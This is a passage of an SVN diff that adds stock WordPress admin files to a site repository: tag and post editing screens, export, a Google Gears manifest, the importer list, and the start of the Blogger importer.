+	'format' => '',
+	'prev_text' => __('&laquo;'),
+	'next_text' => __('&raquo;'),
+	'total' => ceil(wp_count_terms($taxonomy) / $tags_per_page),
+	'current' => $pagenum
+));
+
+if ( $page_links )
+	echo "<div class='tablenav-pages'>$page_links</div>";
+?>
+
+<div class="alignleft actions">
+<select name="action">
+<option value="" selected="selected"><?php _e('Bulk Actions'); ?></option>
+<option value="delete"><?php _e('Delete'); ?></option>
+</select>
+<input type="submit" value="<?php esc_attr_e('Apply'); ?>" name="doaction" id="doaction" class="button-secondary action" />
+<?php wp_nonce_field('bulk-tags'); ?>
+</div>
+
+<br class="clear" />
+</div>
+
+<div class="clear"></div>
+
+<table class="widefat tag fixed" cellspacing="0">
+	<thead>
+	<tr>
+<?php print_column_headers('edit-tags'); ?>
+	</tr>
+	</thead>
+
+	<tfoot>
+	<tr>
+<?php print_column_headers('edit-tags', false); ?>
+	</tr>
+	</tfoot>
+
+	<tbody id="the-list" class="list:tag">
+<?php
+
+$searchterms = isset( $_GET['s'] ) ? trim( $_GET['s'] ) : '';
+
+$count = tag_rows( $pagenum, $tags_per_page, $searchterms, $taxonomy );
+?>
+	</tbody>
+</table>
+
+<div class="tablenav">
+<?php
+if ( $page_links )
+	echo "<div class='tablenav-pages'>$page_links</div>";
+?>
+
+<div class="alignleft actions">
+<select name="action2">
+<option value="" selected="selected"><?php _e('Bulk Actions'); ?></option>
+<option value="delete"><?php _e('Delete'); ?></option>
+</select>
+<input type="submit" value="<?php esc_attr_e('Apply'); ?>" name="doaction2" id="doaction2" class="button-secondary action" />
+</div>
+
+<br class="clear" />
+</div>
+
+<br class="clear" />
+</form>
+</div>
+</div><!-- /col-right -->
+
+<div id="col-left">
+<div class="col-wrap">
+
+<div class="tagcloud">
+<h3><?php _e('Popular Tags'); ?></h3>
+<?php
+if ( $can_manage )
+	wp_tag_cloud(array('taxonomy' => $taxonomy, 'link' => 'edit'));
+else
+	wp_tag_cloud(array('taxonomy' => $taxonomy));
+?>
+</div>
+
+<?php if ( $can_manage ) {
+	do_action('add_tag_form_pre'); ?>
+
+<div class="form-wrap">
+<h3><?php _e('Add a New Tag'); ?></h3>
+<div id="ajax-response"></div>
+<form name="addtag" id="addtag" method="post" action="edit-tags.php" class="add:the-list: validate">
+<input type="hidden" name="action" value="addtag" />
+<input type="hidden" name="taxonomy" value="<?php echo esc_attr($taxonomy); ?>" />
+<?php wp_original_referer_field(true, 'previous'); wp_nonce_field('add-tag'); ?>
+
+<div class="form-field form-required">
+	<label for="name"><?php _e('Tag name') ?></label>
+	<input name="name" id="name" type="text" value="" size="40" aria-required="true" />
+	<p><?php _e('The name is how the tag appears on your site.'); ?></p>
+</div>
+
+<div class="form-field">
+	<label for="slug"><?php _e('Tag slug') ?></label>
+	<input name="slug" id="slug" type="text" value="" size="40" />
+	<p><?php _e('The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.'); ?></p>
+</div>
+
+<div class="form-field">
+	<label for="description"><?php _e('Description') ?></label>
+	<textarea name="description" id="description" rows="5" cols="40"></textarea>
+    <p><?php _e('The description is not prominent by default, however some themes may show it.'); ?></p>
+</div>
+
+<p class="submit"><input type="submit" class="button" name="submit" value="<?php esc_attr_e('Add Tag'); ?>" /></p>
+<?php do_action('add_tag_form'); ?>
+</form></div>
+<?php } ?>
+
+</div>
+</div><!-- /col-left -->
+
+</div><!-- /col-container -->
+</div><!-- /wrap -->
+
+<?php inline_edit_term_row('edit-tags'); ?>
+
+<?php
+break;
+}
+
+include('admin-footer.php');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/edit.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/edit.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/edit.php	(revision 44)
@@ -0,0 +1,300 @@
+<?php
+/**
+ * Edit Posts Administration Panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+// Back-compat for viewing comments of an entry
+if ( $_redirect = intval( max( @$_GET['p'], @$_GET['attachment_id'], @$_GET['page_id'] ) ) ) {
+	wp_redirect( admin_url('edit-comments.php?p=' . $_redirect ) );
+	exit;
+} else {
+	unset( $_redirect );
+}
+
+// Handle bulk actions
+if ( isset($_GET['action']) && ( -1 != $_GET['action'] || -1 != $_GET['action2'] ) ) {
+	$doaction = ( -1 != $_GET['action'] ) ? $_GET['action'] : $_GET['action2'];
+
+	switch ( $doaction ) {
+		case 'delete':
+			if ( isset($_GET['post']) && ! isset($_GET['bulk_edit']) && (isset($_GET['doaction']) || isset($_GET['doaction2'])) ) {
+				check_admin_referer('bulk-posts');
+				$deleted = 0;
+				foreach( (array) $_GET['post'] as $post_id_del ) {
+					$post_del = & get_post($post_id_del);
+
+					if ( !current_user_can('delete_post', $post_id_del) )
+						wp_die( __('You are not allowed to delete this post.') );
+
+					if ( $post_del->post_type == 'attachment' ) {
+						if ( ! wp_delete_attachment($post_id_del) )
+							wp_die( __('Error in deleting...') );
+					} else {
+						if ( !wp_delete_post($post_id_del) )
+							wp_die( __('Error in deleting...') );
+					}
+					$deleted++;
+				}
+			}
+			break;
+		case 'edit':
+			if ( isset($_GET['post']) && isset($_GET['bulk_edit']) ) {
+				check_admin_referer('bulk-posts');
+
+				if ( -1 == $_GET['_status'] ) {
+					$_GET['post_status'] = null;
+					unset($_GET['_status'], $_GET['post_status']);
+				} else {
+					$_GET['post_status'] = $_GET['_status'];
+				}
+
+				$done = bulk_edit_posts($_GET);
+			}
+			break;
+	}
+
+	$sendback = wp_get_referer();
+	if ( strpos($sendback, 'post.php') !== false ) $sendback = admin_url('post-new.php');
+	elseif ( strpos($sendback, 'attachments.php') !== false ) $sendback = admin_url('attachments.php');
+	if ( isset($done) ) {
+		$done['updated'] = count( $done['updated'] );
+		$done['skipped'] = count( $done['skipped'] );
+		$done['locked'] = count( $done['locked'] );
+		$sendback = add_query_arg( $done, $sendback );
+	}
+	if ( isset($deleted) )
+		$sendback = add_query_arg('deleted', $deleted, $sendback);
+	wp_redirect($sendback);
+	exit();
+} elseif ( isset($_GET['_wp_http_referer']) && ! empty($_GET['_wp_http_referer']) ) {
+	 wp_redirect( remove_query_arg( array('_wp_http_referer', '_wpnonce'), stripslashes($_SERVER['REQUEST_URI']) ) );
+	 exit;
+}
+
+if ( empty($title) )
+	$title = __('Edit Posts');
+$parent_file = 'edit.php';
+wp_enqueue_script('inline-edit-post');
+
+list($post_stati, $avail_post_stati) = wp_edit_posts_query();
+
+require_once('admin-header.php');
+
+if ( !isset( $_GET['paged'] ) )
+	$_GET['paged'] = 1;
+
+if ( empty($_GET['mode']) )
+	$mode = 'list';
+else
+	$mode = esc_attr($_GET['mode']); ?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title );
+if ( isset($_GET['s']) && $_GET['s'] )
+	printf( '<span class="subtitle">' . __('Search results for &#8220;%s&#8221;') . '</span>', esc_html( get_search_query() ) ); ?>
+</h2>
+
+<?php
+if ( isset($_GET['posted']) && $_GET['posted'] ) : $_GET['posted'] = (int) $_GET['posted']; ?>
+<div id="message" class="updated fade"><p><strong><?php _e('Your post has been saved.'); ?></strong> <a href="<?php echo get_permalink( $_GET['posted'] ); ?>"><?php _e('View post'); ?></a> | <a href="<?php echo get_edit_post_link( $_GET['posted'] ); ?>"><?php _e('Edit post'); ?></a></p></div>
+<?php $_SERVER['REQUEST_URI'] = remove_query_arg(array('posted'), $_SERVER['REQUEST_URI']);
+endif; ?>
+
+<?php if ( isset($_GET['locked']) || isset($_GET['skipped']) || isset($_GET['updated']) || isset($_GET['deleted']) ) { ?>
+<div id="message" class="updated fade"><p>
+<?php if ( isset($_GET['updated']) && (int) $_GET['updated'] ) {
+	printf( _n( '%s post updated.', '%s posts updated.', $_GET['updated'] ), number_format_i18n( $_GET['updated'] ) );
+	unset($_GET['updated']);
+}
+
+if ( isset($_GET['skipped']) && (int) $_GET['skipped'] )
+	unset($_GET['skipped']);
+
+if ( isset($_GET['locked']) && (int) $_GET['locked'] ) {
+	printf( _n( '%s post not updated, somebody is editing it.', '%s posts not updated, somebody is editing them.', $_GET['locked'] ), number_format_i18n( $_GET['locked'] ) );
+	unset($_GET['locked']);
+}
+
+if ( isset($_GET['deleted']) && (int) $_GET['deleted'] ) {
+	printf( _n( 'Post deleted.', '%s posts deleted.', $_GET['deleted'] ), number_format_i18n( $_GET['deleted'] ) );
+	unset($_GET['deleted']);
+}
+
+$_SERVER['REQUEST_URI'] = remove_query_arg( array('locked', 'skipped', 'updated', 'deleted'), $_SERVER['REQUEST_URI'] );
+?>
+</p></div>
+<?php } ?>
+
+<form id="posts-filter" action="" method="get">
+
+<ul class="subsubsub">
+<?php
+if ( empty($locked_post_status) ) :
+$status_links = array();
+$num_posts = wp_count_posts( 'post', 'readable' );
+$total_posts = array_sum( (array) $num_posts );
+$class = empty( $_GET['post_status'] ) ? ' class="current"' : '';
+$status_links[] = "<li><a href='edit.php' $class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_posts, 'posts' ), number_format_i18n( $total_posts ) ) . '</a>';
+
+
+foreach ( $post_stati as $status => $label ) {
+	$class = '';
+
+	if ( !in_array( $status, $avail_post_stati ) )
+		continue;
+
+	if ( empty( $num_posts->$status ) )
+		continue;
+	if ( isset($_GET['post_status']) && $status == $_GET['post_status'] )
+		$class = ' class="current"';
+
+	$status_links[] = "<li><a href='edit.php?post_status=$status' $class>" . sprintf( _n( $label[2][0], $label[2][1], $num_posts->$status ), number_format_i18n( $num_posts->$status ) ) . '</a>';
+}
+echo implode( " |</li>\n", $status_links ) . '</li>';
+unset( $status_links );
+endif;
+?>
+</ul>
+
+<p class="search-box">
+	<label class="screen-reader-text" for="post-search-input"><?php _e( 'Search Posts' ); ?>:</label>
+	<input type="text" id="post-search-input" name="s" value="<?php the_search_query(); ?>" />
+	<input type="submit" value="<?php esc_attr_e( 'Search Posts' ); ?>" class="button" />
+</p>
+
+<?php if ( isset($_GET['post_status'] ) ) : ?>
+<input type="hidden" name="post_status" value="<?php echo esc_attr($_GET['post_status']) ?>" />
+<?php endif; ?>
+<input type="hidden" name="mode" value="<?php echo esc_attr($mode); ?>" />
+
+<?php if ( have_posts() ) { ?>
+
+<div class="tablenav">
+<?php
+$page_links = paginate_links( array(
+	'base' => add_query_arg( 'paged', '%#%' ),
+	'format' => '',
+	'prev_text' => __('&laquo;'),
+	'next_text' => __('&raquo;'),
+	'total' => $wp_query->max_num_pages,
+	'current' => $_GET['paged']
+));
+
+?>
+
+<div class="alignleft actions">
+<select name="action">
+<option value="-1" selected="selected"><?php _e('Bulk Actions'); ?></option>
+<option value="edit"><?php _e('Edit'); ?></option>
+<option value="delete"><?php _e('Delete'); ?></option>
+</select>
+<input type="submit" value="<?php esc_attr_e('Apply'); ?>" name="doaction" id="doaction" class="button-secondary action" />
+<?php wp_nonce_field('bulk-posts'); ?>
+
+<?php // view filters
+if ( !is_singular() ) {
+$arc_query = "SELECT DISTINCT YEAR(post_date) AS yyear, MONTH(post_date) AS mmonth FROM $wpdb->posts WHERE post_type = 'post' ORDER BY post_date DESC";
+
+$arc_result = $wpdb->get_results( $arc_query );
+
+$month_count = count($arc_result);
+
+if ( $month_count && !( 1 == $month_count && 0 == $arc_result[0]->mmonth ) ) {
+$m = isset($_GET['m']) ? (int)$_GET['m'] : 0;
+?>
+<select name='m'>
+<option<?php selected( $m, 0 ); ?> value='0'><?php _e('Show all dates'); ?></option>
+<?php
+foreach ($arc_result as $arc_row) {
+	if ( $arc_row->yyear == 0 )
+		continue;
+	$arc_row->mmonth = zeroise( $arc_row->mmonth, 2 );
+
+	if ( $arc_row->yyear . $arc_row->mmonth == $m )
+		$default = ' selected="selected"';
+	else
+		$default = '';
+
+	echo "<option$default value='" . esc_attr("$arc_row->yyear$arc_row->mmonth") . "'>";
+	echo $wp_locale->get_month($arc_row->mmonth) . " $arc_row->yyear";
+	echo "</option>\n";
+}
+?>
+</select>
+<?php } ?>
+
+<?php
+$dropdown_options = array('show_option_all' => __('View all categories'), 'hide_empty' => 0, 'hierarchical' => 1,
+	'show_count' => 0, 'orderby' => 'name', 'selected' => $cat);
+wp_dropdown_categories($dropdown_options);
+do_action('restrict_manage_posts');
+?>
+<input type="submit" id="post-query-submit" value="<?php esc_attr_e('Filter'); ?>" class="button-secondary" />
+
+<?php } ?>
+</div>
+
+<?php if ( $page_links ) { ?>
+<div class="tablenav-pages"><?php $page_links_text = sprintf( '<span class="displaying-num">' . __( 'Displaying %s&#8211;%s of %s' ) . '</span>%s',
+	number_format_i18n( ( $_GET['paged'] - 1 ) * $wp_query->query_vars['posts_per_page'] + 1 ),
+	number_format_i18n( min( $_GET['paged'] * $wp_query->query_vars['posts_per_page'], $wp_query->found_posts ) ),
+	number_format_i18n( $wp_query->found_posts ),
+	$page_links
+); echo $page_links_text; ?></div>
+<?php } ?>
+
+<div class="view-switch">
+	<a href="<?php echo esc_url(add_query_arg('mode', 'list', $_SERVER['REQUEST_URI'])) ?>"><img <?php if ( 'list' == $mode ) echo 'class="current"'; ?> id="view-switch-list" src="../wp-includes/images/blank.gif" width="20" height="20" title="<?php _e('List View') ?>" alt="<?php _e('List View') ?>" /></a>
+	<a href="<?php echo esc_url(add_query_arg('mode', 'excerpt', $_SERVER['REQUEST_URI'])) ?>"><img <?php if ( 'excerpt' == $mode ) echo 'class="current"'; ?> id="view-switch-excerpt" src="../wp-includes/images/blank.gif" width="20" height="20" title="<?php _e('Excerpt View') ?>" alt="<?php _e('Excerpt View') ?>" /></a>
+</div>
+
+<div class="clear"></div>
+</div>
+
+<div class="clear"></div>
+
+<?php include( 'edit-post-rows.php' ); ?>
+
+<div class="tablenav">
+
+<?php
+if ( $page_links )
+	echo "<div class='tablenav-pages'>$page_links_text</div>";
+?>
+
+<div class="alignleft actions">
+<select name="action2">
+<option value="-1" selected="selected"><?php _e('Bulk Actions'); ?></option>
+<option value="edit"><?php _e('Edit'); ?></option>
+<option value="delete"><?php _e('Delete'); ?></option>
+</select>
+<input type="submit" value="<?php esc_attr_e('Apply'); ?>" name="doaction2" id="doaction2" class="button-secondary action" />
+<br class="clear" />
+</div>
+<br class="clear" />
+</div>
+
+<?php } else { // have_posts() ?>
+<div class="clear"></div>
+<p><?php _e('No posts found') ?></p>
+<?php } ?>
+
+</form>
+
+<?php inline_edit_row( 'post' ); ?>
+
+<div id="ajax-response"></div>
+
+<br class="clear" />
+
+</div>
+
+<?php
+include('admin-footer.php');
Index: /trunk/www.guidonia.net/wp/wp-admin/export.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/export.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/export.php	(revision 44)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * WordPress Export Administration Panel
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Bootstrap */
+require_once ('admin.php');
+
+/** Load WordPress export API */
+require_once('includes/export.php');
+$title = __('Export');
+
+if ( isset( $_GET['download'] ) ) {
+	$author = isset($_GET['author']) ? $_GET['author'] : 'all';
+	export_wp( $author );
+	die();
+}
+
+require_once ('admin-header.php');
+?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<p><?php _e('When you click the button below WordPress will create an XML file for you to save to your computer.'); ?></p>
+<p><?php _e('This format, which we call WordPress eXtended RSS or WXR, will contain your posts, pages, comments, custom fields, categories, and tags.'); ?></p>
+<p><?php _e('Once you&#8217;ve saved the download file, you can use the Import function on another WordPress blog to import this blog.'); ?></p>
+<form action="" method="get">
+<h3><?php _e('Options'); ?></h3>
+
+<table class="form-table">
+<tr>
+<th><label for="author"><?php _e('Restrict Author'); ?></label></th>
+<td>
+<select name="author" id="author">
+<option value="all" selected="selected"><?php _e('All Authors'); ?></option>
+<?php
+$authors = $wpdb->get_col( "SELECT post_author FROM $wpdb->posts GROUP BY post_author" );
+foreach ( $authors as $id ) {
+	$o = get_userdata( $id );
+	echo "<option value='" . esc_attr($o->ID) . "'>$o->display_name</option>";
+}
+?>
+</select>
+</td>
+</tr>
+</table>
+<p class="submit"><input type="submit" name="submit" class="button" value="<?php esc_attr_e('Download Export File'); ?>" />
+<input type="hidden" name="download" value="true" />
+</p>
+</form>
+</div>
+
+<?php
+
+
+include ('admin-footer.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/gears-manifest.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/gears-manifest.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/gears-manifest.php	(revision 44)
@@ -0,0 +1,51 @@
+<?php
+/**
+ * Defines the Gears manifest file for Google Gears offline storage.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Disable error reporting
+ *
+ * Set this to error_reporting( E_ALL ) or error_reporting( E_ALL | E_STRICT ) for debugging
+ */
+error_reporting(0);
+
+/** Set ABSPATH for execution */
+define( 'ABSPATH', dirname(dirname(__FILE__)) . '/' );
+
+require(ABSPATH . '/wp-admin/includes/manifest.php');
+
+$files = get_manifest();
+
+header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
+header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
+header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
+header( 'Pragma: no-cache' );
+header( 'Content-Type: application/x-javascript; charset=UTF-8' );
+?>
+{
+"betaManifestVersion" : 1,
+"version" : "<?php echo $man_version; ?>",
+"entries" : [
+<?php
+$entries = '';
+
+foreach ( $files as $file ) {
+	// If version is not set, just output the file
+	if ( !isset($file[1]) )
+		$entries .= '{ "url" : "' . $file[0] . '" },' . "\n";
+	// If ver is set but ignoreQuery is not, output file with ver tacked on
+	elseif ( !isset($file[2]) )
+		$entries .= '{ "url" : "' . $file[0] . '?' . $file[1] . '" },' . "\n";
+	// Output url, src, and ignoreQuery
+	else
+		$entries .= '{ "url" : "' . $file[0] . '", "src" : "' . $file[0] . '?' . $file[1] . '", "ignoreQuery" : true },' . "\n";
+}
+
+echo trim( trim($entries), ',' );
+?>
+
+]}
Index: /trunk/www.guidonia.net/wp/wp-admin/import.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/import.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/import.php	(revision 44)
@@ -0,0 +1,73 @@
+<?php
+/**
+ * Import WordPress Administration Panel
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Bootstrap */
+require_once ('admin.php');
+$title = __('Import');
+require_once ('admin-header.php');
+$parent_file = 'tools.php';
+?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+<p><?php _e('If you have posts or comments in another system, WordPress can import those into this blog. To get started, choose a system to import from below:'); ?></p>
+
+<?php
+
+// Load all importers so that they can register.
+$import_loc = 'wp-admin/import';
+$import_root = ABSPATH.$import_loc;
+$imports_dir = @ opendir($import_root);
+if ($imports_dir) {
+	while (($file = readdir($imports_dir)) !== false) {
+		if ($file{0} == '.') {
+			continue;
+		} elseif (substr($file, -4) == '.php') {
+			require_once($import_root . '/' . $file);
+		}
+	}
+}
+@closedir($imports_dir);
+
+$importers = get_importers();
+
+if (empty ($importers)) {
+	echo '<p>'.__('No importers are available.').'</p>'; // TODO: make more helpful
+} else {
+?>
+<table class="widefat" cellspacing="0">
+
+<?php
+	$style = '';
+	foreach ($importers as $id => $data) {
+		$style = ('class="alternate"' == $style || 'class="alternate active"' == $style) ? '' : 'alternate';
+		$action = "<a href='admin.php?import=$id' title='".wptexturize(strip_tags($data[1]))."'>{$data[0]}</a>";
+
+		if ($style != '')
+			$style = 'class="'.$style.'"';
+		echo "
+			<tr $style>
+				<td class='import-system row-title'>$action</td>
+				<td class='desc'>{$data[1]}</td>
+			</tr>";
+	}
+?>
+
+</table>
+<?php
+}
+?>
+
+</div>
+
+<?php
+
+include ('admin-footer.php');
+?>
+
Index: /trunk/www.guidonia.net/wp/wp-admin/import/blogger.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/import/blogger.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/import/blogger.php	(revision 44)
@@ -0,0 +1,1062 @@
+<?php
+/**
+ * Blogger Importer
+ *
+ * @package WordPress
+ * @subpackage Importer
+ */
+
+/**
+ * How many records per GData query
+ *
+ * @package WordPress
+ * @subpackage Blogger_Import
+ * @var int
+ * @since unknown
+ */
+define( 'MAX_RESULTS',        50 );
+
+/**
+ * How many seconds to let the script run
+ *
+ * @package WordPress
+ * @subpackage Blogger_Import
+ * @var int
+ * @since unknown
+ */
+define( 'MAX_EXECUTION_TIME', 20 );
+
+/**
+ * How many seconds between status bar updates
+ *
+ * @package WordPress
+ * @subpackage Blogger_Import
+ * @var int
+ * @since unknown
+ */
+define( 'STATUS_INTERVAL',     3 );
+
+/**
+ * Blogger Importer class
+ *
+ * @since unknown
+ */
+class Blogger_Import {
+
+	// Shows the welcome screen and the magic auth link.
+	function greet() {
+		$next_url = get_option('siteurl') . '/wp-admin/index.php?import=blogger&amp;noheader=true';
+		$auth_url = "https://www.google.com/accounts/AuthSubRequest";
+		$title = __('Import Blogger');
+		$welcome = __('Howdy! This importer allows you to import posts and comments from your Blogger account into your WordPress blog.');
+		$prereqs = __('To use this importer, you must have a Google account and an upgraded (New, was Beta) blog hosted on blogspot.com or a custom domain (not FTP).');
+		$stepone = __('The first thing you need to do is tell Blogger to let WordPress access your account. You will be sent back here after providing authorization.');
+		$auth = esc_attr__('Authorize');
+
+		echo "
+		<div class='wrap'>
+		".screen_icon()."
+		<h2>$title</h2>
+		<p>$welcome</p><p>$prereqs</p><p>$stepone</p>
+			<form action='$auth_url' method='get'>
+				<p class='submit' style='text-align:left;'>
+					<input type='submit' class='button' value='$auth' />
+					<input type='hidden' name='scope' value='http://www.blogger.com/feeds/' />
+					<input type='hidden' name='session' value='1' />
+					<input type='hidden' name='secure' value='0' />
+					<input type='hidden' name='next' value='$next_url' />
+				</p>
+			</form>
+		</div>\n";
+	}
+
+	function uh_oh($title, $message, $info) {
+		echo "<div class='wrap'>";
+		screen_icon();
+		echo "<h2>$title</h2><p>$message</p><pre>$info</pre></div>";
+	}
+
+	function auth() {
+		// We have a single-use token that must be upgraded to a session token.
+		$token = preg_replace( '/[^-_0-9a-zA-Z]/', '', $_GET['token'] );
+		$headers = array(
+			"GET /accounts/AuthSubSessionToken HTTP/1.0",
+			"Authorization: AuthSub token=\"$token\""
+		);
+		$request = join( "\r\n", $headers ) . "\r\n\r\n";
+		$sock = $this->_get_auth_sock( );
+		if ( ! $sock ) return false;
+		$response = $this->_txrx( $sock, $request );
+		preg_match( '/token=([-_0-9a-z]+)/i', $response, $matches );
+		if ( empty( $matches[1] ) ) {
+			$this->uh_oh(
+				__( 'Authorization failed' ),
+				__( 'Something went wrong. If the problem persists, send this info to support:' ),
+				htmlspecialchars($response)
+			);
+			return false;
+		}
+		$this->token = $matches[1];
+
+		wp_redirect( remove_query_arg( array( 'token', 'noheader' ) ) );
+	}
+
+	function get_token_info() {
+		$headers = array(
+			"GET /accounts/AuthSubTokenInfo  HTTP/1.0",
+			"Authorization: AuthSub token=\"$this->token\""
+		);
+		$request = join( "\r\n", $headers ) . "\r\n\r\n";
+		$sock = $this->_get_auth_sock( );
+		if ( ! $sock ) return;
+		$response = $this->_txrx( $sock, $request );
+		return $this->parse_response($response);
+	}
+
+	function token_is_valid() {
+		$info = $this->get_token_info();
+
+		if ( $info['code'] == 200 )
+			return true;
+
+		return false;
+	}
+
+	function show_blogs($iter = 0) {
+		if ( empty($this->blogs) ) {
+			$headers = array(
+				"GET /feeds/default/blogs HTTP/1.0",
+				"Host: www.blogger.com",
+				"Authorization: AuthSub token=\"$this->token\""
+			);
+			$request = join( "\r\n", $headers ) . "\r\n\r\n";
+			$sock = $this->_get_blogger_sock( );
+			if ( ! $sock ) return;
+			$response = $this->_txrx( $sock, $request );
+
+			// Quick and dirty XML mining.
+			list( $headers, $xml ) = explode( "\r\n\r\n", $response );
+			$p = xml_parser_create();
+			xml_parse_into_struct($p, $xml, $vals, $index);
+			xml_parser_free($p);
+
+			$this->title = $vals[$index['TITLE'][0]]['value'];
+
+			// Give it a few retries... this step often flakes out the first time.
+			if ( empty( $index['ENTRY'] ) ) {
+				if ( $iter < 3 ) {
+					return $this->show_blogs($iter + 1);
+				} else {
+					$this->uh_oh(
+						__('Trouble signing in'),
+						__('We were not able to gain access to your account. Try starting over.'),
+						''
+					);
+					return false;
+				}
+			}
+
+			foreach ( $index['ENTRY'] as $i ) {
+				$blog = array();
+				while ( ( $tag = $vals[$i] ) && ! ( $tag['tag'] == 'ENTRY' && $tag['type'] == 'close' ) ) {
+					if ( $tag['tag'] == 'TITLE' ) {
+						$blog['title'] = $tag['value'];
+					} elseif ( $tag['tag'] == 'SUMMARY' ) {
+						$blog['summary'] == $tag['value'];
+					} elseif ( $tag['tag'] == 'LINK' ) {
+						if ( $tag['attributes']['REL'] == 'alternate' && $tag['attributes']['TYPE'] == 'text/html' ) {
+							$parts = parse_url( $tag['attributes']['HREF'] );
+							$blog['host'] = $parts['host'];
+						} elseif ( $tag['attributes']['REL'] == 'edit' )
+							$blog['gateway'] = $tag['attributes']['HREF'];
+					}
+					++$i;
+				}
+				if ( ! empty ( $blog ) ) {
+					$blog['total_posts'] = $this->get_total_results('posts', $blog['host']);
+					$blog['total_comments'] = $this->get_total_results('comments', $blog['host']);
+					$blog['mode'] = 'init';
+					$this->blogs[] = $blog;
+				}
+			}
+
+			if ( empty( $this->blogs ) ) {
+				$this->uh_oh(
+					__('No blogs found'),
+					__('We were able to log in but there were no blogs. Try a different account next time.'),
+					''
+				);
+				return false;
+			}
+		}
+//echo '<pre>'.print_r($this,1).'</pre>';
+		$start    = esc_js( __('Import') );
+		$continue = esc_js( __('Continue') );
+		$stop     = esc_js( __('Importing...') );
+		$authors  = esc_js( __('Set Authors') );
+		$loadauth = esc_js( __('Preparing author mapping form...') );
+		$authhead = esc_js( __('Final Step: Author Mapping') );
+		$nothing  = esc_js( __('Nothing was imported. Had you already imported this blog?') );
+		$title    = __('Blogger Blogs');
+		$name     = __('Blog Name');
+		$url      = __('Blog URL');
+		$action   = __('The Magic Button');
+		$posts    = __('Posts');
+		$comments = __('Comments');
+		$noscript = __('This feature requires Javascript but it seems to be disabled. Please enable Javascript and then reload this page. Don&#8217;t worry, you can turn it back off when you&#8217;re done.');
+
+		$interval = STATUS_INTERVAL * 1000;
+
+		foreach ( $this->blogs as $i => $blog ) {
+			if ( $blog['mode'] == 'init' )
+				$value = $start;
+			elseif ( $blog['mode'] == 'posts' || $blog['mode'] == 'comments' )
+				$value = $continue;
+			else
+				$value = $authors;
+			$value = esc_attr($value);
+			$blogtitle = esc_js( $blog['title'] );
+			$pdone = isset($blog['posts_done']) ? (int) $blog['posts_done'] : 0;
+			$cdone = isset($blog['comments_done']) ? (int) $blog['comments_done'] : 0;
+			$init .= "blogs[$i]=new blog($i,'$blogtitle','{$blog['mode']}'," . $this->get_js_status($i) . ');';
+			$pstat = "<div class='ind' id='pind$i'>&nbsp;</div><div id='pstat$i' class='stat'>$pdone/{$blog['total_posts']}</div>";
+			$cstat = "<div class='ind' id='cind$i'>&nbsp;</div><div id='cstat$i' class='stat'>$cdone/{$blog['total_comments']}</div>";
+			$rows .= "<tr id='blog$i'><td class='blogtitle'>$blogtitle</td><td class='bloghost'>{$blog['host']}</td><td class='bar'>$pstat</td><td class='bar'>$cstat</td><td class='submit'><input type='submit' class='button' id='submit$i' value='$value' /><input type='hidden' name='blog' value='$i' /></td></tr>\n";
+		}
+
+		echo "<div class='wrap'><h2>$title</h2><noscript>$noscript</noscript><table cellpadding='5px'><thead><tr><td>$name</td><td>$url</td><td>$posts</td><td>$comments</td><td>$action</td></tr></thead>\n$rows</table></div>";
+		echo "
+		<script type='text/javascript'>
+		/* <![CDATA[ */
+			var strings = {cont:'$continue',stop:'$stop',stopping:'$stopping',authors:'$authors',nothing:'$nothing'};
+			var blogs = {};
+			function blog(i, title, mode, status){
+				this.blog   = i;
+				this.mode   = mode;
+				this.title  = title;
+				this.status = status;
+				this.button = document.getElementById('submit'+this.blog);
+			};
+			blog.prototype = {
+				start: function() {
+					this.cont = true;
+					this.kick();
+					this.check();
+				},
+				kick: function() {
+					++this.kicks;
+					var i = this.blog;
+					jQuery.post('admin.php?import=blogger&noheader=true',{blog:this.blog},function(text,result){blogs[i].kickd(text,result)});
+				},
+				check: function() {
+					++this.checks;
+					var i = this.blog;
+					jQuery.post('admin.php?import=blogger&noheader=true&status=true',{blog:this.blog},function(text,result){blogs[i].checkd(text,result)});
+				},
+				kickd: function(text, result) {
+					if ( result == 'error' ) {
+						// TODO: exception handling
+						if ( this.cont )
+							setTimeout('blogs['+this.blog+'].kick()', 1000);
+					} else {
+						if ( text == 'done' ) {
+							this.stop();
+							this.done();
+						} else if ( text == 'nothing' ) {
+							this.stop();
+							this.nothing();
+						} else if ( text == 'continue' ) {
+							this.kick();
+						} else if ( this.mode = 'stopped' )
+							jQuery(this.button).attr('value', strings.cont);
+					}
+					--this.kicks;
+				},
+				checkd: function(text, result) {
+					if ( result == 'error' ) {
+						// TODO: exception handling
+					} else {
+						eval('this.status='+text);
+						jQuery('#pstat'+this.blog).empty().append(this.status.p1+'/'+this.status.p2);
+						jQuery('#cstat'+this.blog).empty().append(this.status.c1+'/'+this.status.c2);
+						this.update();
+						if ( this.cont || this.kicks > 0 )
